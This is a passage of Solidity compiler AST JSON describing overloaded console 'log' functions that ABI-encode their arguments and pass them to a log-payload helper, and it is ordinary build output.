memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30493,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58194:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30494,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58198:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58194:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58194:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30492,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"58178:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58178:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30502,"nodeType":"ExpressionStatement","src":"58178:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58096:3:15","parameters":{"id":30490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30483,"mutability":"mutable","name":"p0","nameLocation":"58108:2:15","nodeType":"VariableDeclaration","scope":30504,"src":"58100:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30482,"name":"address","nodeType":"ElementaryTypeName","src":"58100:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30485,"mutability":"mutable","name":"p1","nameLocation":"58120:2:15","nodeType":"VariableDeclaration","scope":30504,"src":"58112:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30484,"name":"uint256","nodeType":"ElementaryTypeName","src":"58112:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30487,"mutability":"mutable","name":"p2","nameLocation":"58138:2:15","nodeType":"VariableDeclaration","scope":30504,"src":"58124:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30486,"name":"string","nodeType":"ElementaryTypeName","src":"58124:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30489,"mutability":"mutable","name":"p3","nameLocation":"58150:2:15","nodeType":"VariableDeclaration","scope":30504,"src":"58142:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30488,"name":"uint256","nodeType":"ElementaryTypeName","src":"58142:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"58099:54:15"},"returnParameters":{"id":30491,"nodeType":"ParameterList","parameters":[],"src":"58168:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30527,"nodeType":"FunctionDefinition","src":"58286:198:15","nodes":[],"body":{"id":30526,"nodeType":"Block","src":"58373:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c737472696e672c737472696e6729","id":30518,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58423:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_88a8c40673ee8948292248925b0e9d44ca87355f3f886942e848cf22ee50e1c9","typeString":"literal_string \"log(address,uint256,string,string)\""},"value":"log(address,uint256,string,string)"},{"id":30519,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30506,"src":"58461:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30520,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30508,"src":"58465:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30521,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30510,"src":"58469:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30522,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30512,"src":"58473:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_88a8c40673ee8948292248925b0e9d44ca87355f3f886942e848cf22ee50e1c9","typeString":"literal_string \"log(address,uint256,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30516,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58399:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30517,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58403:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58399:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58399:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30515,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"58383:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58383:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30525,"nodeType":"ExpressionStatement","src":"58383:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58295:3:15","parameters":{"id":30513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30506,"mutability":"mutable","name":"p0","nameLocation":"58307:2:15","nodeType":"VariableDeclaration","scope":30527,"src":"58299:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30505,"name":"address","nodeType":"ElementaryTypeName","src":"58299:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30508,"mutability":"mutable","name":"p1","nameLocation":"58319:2:15","nodeType":"VariableDeclaration","scope":30527,"src":"58311:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30507,"name":"uint256","nodeType":"ElementaryTypeName","src":"58311:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30510,"mutability":"mutable","name":"p2","nameLocation":"58337:2:15","nodeType":"VariableDeclaration","scope":30527,"src":"58323:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30509,"name":"string","nodeType":"ElementaryTypeName","src":"58323:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30512,"mutability":"mutable","name":"p3","nameLocation":"58355:2:15","nodeType":"VariableDeclaration","scope":30527,"src":"58341:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30511,"name":"string","nodeType":"ElementaryTypeName","src":"58341:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"58298:60:15"},"returnParameters":{"id":30514,"nodeType":"ParameterList","parameters":[],"src":"58373:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30550,"nodeType":"FunctionDefinition","src":"58490:187:15","nodes":[],"body":{"id":30549,"nodeType":"Block","src":"58568:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c737472696e672c626f6f6c29","id":30541,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58618:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cf18105cbdc058258aaac7d4703aebeff683e464ae87b167f8bcabefd4799184","typeString":"literal_string \"log(address,uint256,string,bool)\""},"value":"log(address,uint256,string,bool)"},{"id":30542,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30529,"src":"58654:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30543,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30531,"src":"58658:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30544,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30533,"src":"58662:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30545,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30535,"src":"58666:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cf18105cbdc058258aaac7d4703aebeff683e464ae87b167f8bcabefd4799184","typeString":"literal_string \"log(address,uint256,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30539,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58594:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30540,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58598:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58594:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58594:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30538,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"58578:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58578:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30548,"nodeType":"ExpressionStatement","src":"58578:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58499:3:15","parameters":{"id":30536,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30529,"mutability":"mutable","name":"p0","nameLocation":"58511:2:15","nodeType":"VariableDeclaration","scope":30550,"src":"58503:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30528,"name":"address","nodeType":"ElementaryTypeName","src":"58503:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30531,"mutability":"mutable","name":"p1","nameLocation":"58523:2:15","nodeType":"VariableDeclaration","scope":30550,"src":"58515:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30530,"name":"uint256","nodeType":"ElementaryTypeName","src":"58515:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30533,"mutability":"mutable","name":"p2","nameLocation":"58541:2:15","nodeType":"VariableDeclaration","scope":30550,"src":"58527:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30532,"name":"string","nodeType":"ElementaryTypeName","src":"58527:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30535,"mutability":"mutable","name":"p3","nameLocation":"58550:2:15","nodeType":"VariableDeclaration","scope":30550,"src":"58545:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30534,"name":"bool","nodeType":"ElementaryTypeName","src":"58545:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"58502:51:15"},"returnParameters":{"id":30537,"nodeType":"ParameterList","parameters":[],"src":"58568:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30573,"nodeType":"FunctionDefinition","src":"58683:193:15","nodes":[],"body":{"id":30572,"nodeType":"Block","src":"58764:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c737472696e672c6164647265737329","id":30564,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58814:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5c430d475ad8236f34d086a6aae3612106ae74c8621b8677d58f13dcda27570a","typeString":"literal_string \"log(address,uint256,string,address)\""},"value":"log(address,uint256,string,address)"},{"id":30565,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30552,"src":"58853:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30566,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30554,"src":"58857:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30567,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30556,"src":"58861:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":30568,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30558,"src":"58865:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5c430d475ad8236f34d086a6aae3612106ae74c8621b8677d58f13dcda27570a","typeString":"literal_string \"log(address,uint256,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30562,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58790:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30563,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58794:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58790:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58790:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30561,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"58774:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58774:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30571,"nodeType":"ExpressionStatement","src":"58774:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58692:3:15","parameters":{"id":30559,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30552,"mutability":"mutable","name":"p0","nameLocation":"58704:2:15","nodeType":"VariableDeclaration","scope":30573,"src":"58696:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30551,"name":"address","nodeType":"ElementaryTypeName","src":"58696:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30554,"mutability":"mutable","name":"p1","nameLocation":"58716:2:15","nodeType":"VariableDeclaration","scope":30573,"src":"58708:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30553,"name":"uint256","nodeType":"ElementaryTypeName","src":"58708:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30556,"mutability":"mutable","name":"p2","nameLocation":"58734:2:15","nodeType":"VariableDeclaration","scope":30573,"src":"58720:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30555,"name":"string","nodeType":"ElementaryTypeName","src":"58720:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":30558,"mutability":"mutable","name":"p3","nameLocation":"58746:2:15","nodeType":"VariableDeclaration","scope":30573,"src":"58738:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30557,"name":"address","nodeType":"ElementaryTypeName","src":"58738:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"58695:54:15"},"returnParameters":{"id":30560,"nodeType":"ParameterList","parameters":[],"src":"58764:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30596,"nodeType":"FunctionDefinition","src":"58882:182:15","nodes":[],"body":{"id":30595,"nodeType":"Block","src":"58954:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c626f6f6c2c75696e7432353629","id":30587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59004:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_22f6b999343c50207803e85ddd9e714a5457dacc91c49407b8de02bdaf889e5e","typeString":"literal_string \"log(address,uint256,bool,uint256)\""},"value":"log(address,uint256,bool,uint256)"},{"id":30588,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30575,"src":"59041:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30589,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30577,"src":"59045:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30590,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30579,"src":"59049:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30591,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30581,"src":"59053:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_22f6b999343c50207803e85ddd9e714a5457dacc91c49407b8de02bdaf889e5e","typeString":"literal_string \"log(address,uint256,bool,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30585,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58980:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30586,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58984:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58980:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58980:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30584,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"58964:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58964:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30594,"nodeType":"ExpressionStatement","src":"58964:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58891:3:15","parameters":{"id":30582,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30575,"mutability":"mutable","name":"p0","nameLocation":"58903:2:15","nodeType":"VariableDeclaration","scope":30596,"src":"58895:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30574,"name":"address","nodeType":"ElementaryTypeName","src":"58895:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30577,"mutability":"mutable","name":"p1","nameLocation":"58915:2:15","nodeType":"VariableDeclaration","scope":30596,"src":"58907:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30576,"name":"uint256","nodeType":"ElementaryTypeName","src":"58907:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30579,"mutability":"mutable","name":"p2","nameLocation":"58924:2:15","nodeType":"VariableDeclaration","scope":30596,"src":"58919:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30578,"name":"bool","nodeType":"ElementaryTypeName","src":"58919:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30581,"mutability":"mutable","name":"p3","nameLocation":"58936:2:15","nodeType":"VariableDeclaration","scope":30596,"src":"58928:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30580,"name":"uint256","nodeType":"ElementaryTypeName","src":"58928:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"58894:45:15"},"returnParameters":{"id":30583,"nodeType":"ParameterList","parameters":[],"src":"58954:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30619,"nodeType":"FunctionDefinition","src":"59070:187:15","nodes":[],"body":{"id":30618,"nodeType":"Block","src":"59148:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c626f6f6c2c737472696e6729","id":30610,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"59198:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5ad85f9b1e72940e5c2ff98bcaf10dac65873a2d1f60566284e5a9bba66ce0b","typeString":"literal_string \"log(address,uint256,bool,string)\""},"value":"log(address,uint256,bool,string)"},{"id":30611,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30598,"src":"59234:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30612,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30600,"src":"59238:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30613,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30602,"src":"59242:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30614,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30604,"src":"59246:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5ad85f9b1e72940e5c2ff98bcaf10dac65873a2d1f60566284e5a9bba66ce0b","typeString":"literal_string \"log(address,uint256,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30608,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"59174:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30609,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"59178:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"59174:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59174:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30607,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"59158:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30616,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"59158:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30617,"nodeType":"ExpressionStatement","src":"59158:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"59079:3:15","parameters":{"id":30605,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30598,"mutability":"mutable","name":"p0","nameLocation":"59091:2:15","nodeType":"VariableDeclaration","scope":30619,"src":"59083:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30597,"name":"address","nodeType":"ElementaryTypeName","src":"59083:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30600,"mutability":"mutable","name":"p1","nameLocation":"59103:2:15","nodeType":"VariableDeclaration","scope":30619,"src":"59095:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30599,"name":"uint256","nodeType":"ElementaryType